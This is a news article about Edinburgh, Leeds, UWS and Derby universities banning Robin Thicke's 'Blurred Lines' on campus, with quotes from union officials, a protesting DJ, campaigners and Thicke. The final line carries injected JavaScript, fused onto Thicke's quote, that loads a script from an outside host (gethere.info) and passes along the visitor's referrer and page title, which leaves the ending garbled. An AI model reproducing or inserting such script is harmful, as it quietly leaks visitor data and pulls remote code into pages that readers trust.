By Stephen McIlkenny
At least 4 universities have banned Robin Thicke’s Number 1 summer hit “Blurred Lines” from being played on campus amid fears that the song trivialises rape and promotes “lad culture”.
Edinburgh University’s Union was the first to ban the track, which features TI and Pharrell, during their Fresher’s week due to the song’s controversial lyrics with campaigners believing it condones non-consensual sex.
They have now been joined by Leeds University, University of the West of Scotland (UWS) and The University of Derby.
The ban was initially imposed by Edinburgh University under the Edinburgh University Students’ Association (EUSA) policy ‘End Rape Culture and Lad Banter on Campus’ which aims to tackle “myths and stereotypes around sexual violence”.
EUSA vice president Kirsty Haigh said: “The decision to ban ‘Blurred Lines’ from our venues has been taken as it promotes an unhealthy attitude towards sex and consent.”
Although the track has been banned many disagree with the decision, including Edinburgh Union’s DJ Magnus Monahan. He stated: ‘It’s absolutely ridiculous that they’ve decided to do this because at the end of the day it was the biggest song of the summer and it’s cheesy and that’s what Freshers like.
“It’s people’s own choice. They get to choose and if I’m perfectly honest they’re being very hypocritical.”
Despite the blanket ban on the song the Edinburgh student union DJ plans to play the song again, or at least the start before silencing the rest as a sign of protest.
Edinburgh’s Conservative and Unionist Society have also condemned the ban.
Joining Edinburgh, the UWS have banned the track indefinitely until the student council has come to a full decision in regards to whether the song should be allowed to be played on campus.
A spokeswoman from University of Derby stated on the banning of the track: “All the students I’ve spoken too are really offended by the song because it promotes rape and lad culture.”
The action by these universities have been praised by Rape Crisis Scotland and other organisations, however George McAulay of the UK Men’s Movement stated: ‘The video makes me want to dance, not go out and rape a woman.’
Robin Thicke himself has come out and defended the lyrics of the song.
He told The Today Show that the track is “supposed to make us talk about what’s important and what the relationship between men and women is, but if you listen to the lyrics it says ‘That man is not your maker’ — it’s actually a feminist movement within itself.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
